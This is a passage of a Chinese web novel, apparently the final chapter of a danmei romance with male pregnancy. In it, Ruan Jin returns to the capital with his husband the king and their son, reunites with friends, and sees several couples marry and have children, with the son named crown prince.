豆沙包也扑进了阮锦的怀里,撒娇道:“爹爹包包也好想你呀!你这一去又是两个月!我想你想的都吃不下饭啦!” “哦?吃不下饭啦?但是包包的脸颊又胖了一圈哦。”阮锦说着,还在豆沙包的脸颊上捏了捏。 豆沙包一脸的不高兴,抗议道:“哎呀爹爹你怎么这样呀!不知道什么叫看破不说破嘛?” 这话把渊夜昙给逗笑了,他一边笑一边说道:“看来包包的性格还是随了你,嗯……挺……可爱的。” 阮锦抬头朝他飞了个白眼,问道:“你什么意思?我是这种说话不着边儿的性子吗?” 渊夜昙赶紧投降:“不是不是,你不是,我们阿锦最好了。” 外面骑马守着的阮子放:……得,师父还是当年那个怕老婆的妻管严。 很快,马车来到了城门前,渊夜昙先下了马车,又把阮锦扶了下来,还没来得及去抱豆沙包,小家伙就叭唧一声跳了下来。 渊夜昙:……行吧!小家伙挺活泼。 端阳公主赶紧上前去抱孩子,担心道:“我的小祖宗,那么高的地方就往下跳,那车都快比你高了!让姑姑看看摔着没有?” 豆沙包嚷嚷:“没有没有,姑姑你放心吧!包包厉害着呢!” 渊夜昙也道:“长姐不必担心,小孩子就该野蛮生长。” 这话也是跟阮锦学的,他觉得阮锦懂的好多道理,而且这些道理都是经过事实佐证的。 阮锦则第一时间就跑去了小五义那边,阿大和阿二已经哭成了泪人,倒是三儿,在一旁骂他们没出息,下一秒却也红了眼眶。 三儿的旁边跟着尉迟融,小心翼翼的扶着,看三儿这样子,怕是要临盆了。 四儿一把搂住了三儿,哭的哇哇的:“三儿姐姐,我好想你们啊!呜呜呜呜,终于又可以在一起了。” 阮子放在后面嘿嘿的傻乐,被阿大踹了一脚,气道:“让你再不告而别,你知道我和你二哥三姐四哥有多担心吗?你还有脸在这儿笑!” 阮子放一边躲一边抗议:“大哥大哥,算了算了,我现在可是平西大将军啊啊啊!你就不能给我留点儿面子!!!” 后面他的部下笑的你推我搡,一个个儿都没眼看了。 他们也没想到,在战场上威武彪悍的平西大将军,回到家里竟然也得挨大哥的揍。 揍完阿大又把他搂进怀里,拍了拍他结实的胸堂,抬头仰望着他道:“臭小子,又长高了,也就你摊上好时候了,吃的好了确实能长大高个儿啊!” 只有五儿在未成年的时候,小五义才彻底好了起来,所以身高也比他们几个哥哥高出来不少,目测至少185! 阮锦又走到了九大夫的面前,一脸暧昧的看着他身后的蒙铎,一下子就猜出了两人的进展,现在大概是如胶似漆了吧? 九大夫看了一眼蒙铎,说道:“你先去忙,我和阿锦有话说。” 蒙铎乖乖的哦了一声,还叮嘱了一句:“那你自己……小心一些啊!” 直到蒙铎走远了,阮锦才一脸好笑的说道:“‘那你自己……小心一些啊’,不是,你家这个莽夫是觉得我还能打你一顿不成?” 九大夫的耳尖当即飞上一抹绯红,小声道:“别提了,我……有了。” 阮锦:??? 他震惊的看向九大夫,问道:“有了?什么有了?不会是我想的那样吧?” 九大夫点了点头,皱眉道:“我也没想到,一次发情期就能怀上,早知道我也喝避子汤了。” 阮锦噗嗤笑出了声,由衷的赞道:“可以啊!蒙将军了不起!遥想当年我和阿蛮,那可是足足半年才怀上包包。你这倒是好,一发就中了?” 九大夫脸又红了,小声道:“倒也不是一发,就……我那天发情期,把他叫了过来,给他喝了点酒。当天晚上我们……厮混了一晚上,然后他就不走了。连朝也不上了,和王庭请了假。在我家待了足足七日,这七日他除了吃饭睡觉,一刻也未轻闲……” 阮锦震惊了,刚要问他第一次不痛吗?便想起来九哥他自己用了许久的角先生,早就没有痛感了,只会很爽。 他心想他们这些武将一个个的也过于生猛了些,足足七日,就不怕亏空了身子吗? 九大夫接着又道:“七日后我终于受不住了,把他撵走了。后面还被他给赖上了,早知道他是个狗皮膏药,我就不赞他了。隔三岔五就翻墙来我们郡伯府,一待就是一晚上,第二天天亮才走。现在京城里处处流言蜚语,说我勾引蒙大将军。天地良心,我也就勾引过他一次,后面都是他在勾引我……” 一进来就露胸肌露腹肌,关键那胸腹肌还练的颇为好看,人高马大的还长了一张英气十足的脸。 别的不说,蒙家人的基因是真不错,一个赛一个都是男模身材。 每次九大夫都把持不住,半推半就的就滚到了床上。 就这么过了两个月,九大夫开始害喜,吐了两天,一开始还以为是换季胃口不好,三天后才惊觉,自己现在有男人了,该不会是怀孕了吧? 他自己给自己把了个脉,当天晚上就把蒙铎给揍了一顿。 蒙铎被揍完,顶着鼻青脸肿的一个猪头,回家把自家的银子地契房契店铺等所有家当都搬到了九大夫的跟着,话说的那叫一个深情。 说他爹娘自小便死在了战场上,他和弟弟蒙玉相依为命长大,如今弟兄俩也是在战场上扛着脑袋过日子。 知道自己配不上九大夫,但他还是想和他在一起,哪怕人生短暂,能与他在一起一天,都是快活的。 九大夫这个人也心软,接受了他的心意,蒙铎就开始准婚事了。 阮锦听完乐的不行,连连点头道:“好,好,真是好,我的九哥终于要嫁出去了!” 九大夫却否认:“我才不要嫁出去!你说过,婚姻是两个人在一起,叫成亲,不叫嫁娶。我和他在一起,只叫成亲,不叫嫁给他,他也同意了。不过我也答应他,生下的儿郎会跟他们蒙家姓,也算是全了他们蒙家的忠义。但若是个哥儿,必然要跟我姓白。” 阮锦扑哧笑出了声,说道:“九哥开心就好,不过我倒是觉得,姓什么不重要。对于我们哥儿来说,传承自在血脉延续里,而不是在祖宗牌位上。我生的孩子,自然是我的,千年万年也变不了。” 九大夫听完,朝阮锦行了个礼,点头应道:“受教了,我倒是肤浅了。不过……哥儿的话,还是得跟我姓的。” 阮锦哈哈哈笑了半天,说道:“那必须的,我们阮豆包也随我姓呀!” 九大夫一脸同情的看着他道:“那倒也未必,你信不信,王上回去就要封包包为太子。一旦封为太子,他从前姓什么都不重要,肯定要改为国姓的。” 阮豆包,就得叫渊豆包了。 不,可能连豆包都叫不了,会改一个大气的名字。 如九大夫所言,渊夜昙一回到宫里,便宣布了两件事。 第一件,迎阮郡伯入宫为王后,是迎,不是册封。 第二件,封豆沙包为太子,冠国姓,正式更名为渊璟之。 阮锦头疼的看着那个新名字,他的包包就这么改叫叫阿璟了。 不过,私下里他还是会叫包包的。 倒是蒙铎速度快,第二天请示了王上,让王上为他赐婚做媒,火速的和九大夫成了亲。 好消息,终于抱得美人归,坏消息,是入赘的。 九大夫实在受不了大将军府那冷锅冷灶,最后硬生生扯着他住在了郡伯府新修的院子里。 蒙铎也乐得有人照料自己的生活起居,王上给的管家,确实好用。 还有一个坏消息,渊夜昙也入赘了。 白天他是高高在上的王,晚上就得乖乖回郡伯府睡觉,上朝的时候再抄小道去王宫上朝,反正秘道一打通,十几分钟就能策马狂奔回去。 倒是还有一个好消息,三儿生了,生了个儿子,可把尉迟家高兴坏了。 关内侯亲自给小娃娃取名尉迟烨,小名叫华华,长得胖嘟嘟的,可爱炸了。 阮锦让阿大和阿二也早点成家,谁料那俩人支支吾吾,说什么也不肯,说他俩相依为命惯了,跟着少爷还能多照料一下他。 他们还当阮锦不知道,这俩人同吃同睡同进同出,一看就有断袖之癖! 阮锦当然不会说破,只要他们开心就好。 倒是一直恨嫁的四儿,不知道为什么竟不着急了,阮锦观察了他许久,也不见他对哪家的儿郎意动。 直到蒙玉将军凯旋回朝,肃清了残幽所有余孽,浩浩荡荡带着一行人马回到了渊都。 庆功宴上,两人终于对上了眼,还是蒙玉主动上前,朝他赔了个不是:“上次的事,是我不对,弄脏了你的帕子。我……我给你洗干净了,你要不要……收回去?” 四儿脸颊微红,摆手道:“不……不用了,你留着吧!” 第二天,两人就一起游了东城河,没过多久有情人便终成父母。 阮锦只觉得郡伯府越来越热闹,小孩子一个接一个的出生,生活气息要多浓郁有多浓郁。 他觉得什么王侯将相,也不过是凡人的一生罢了。 余生唯愿,百姓安居,世间无灾无祸,他也能偏安一隅,过些普通人的生活。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m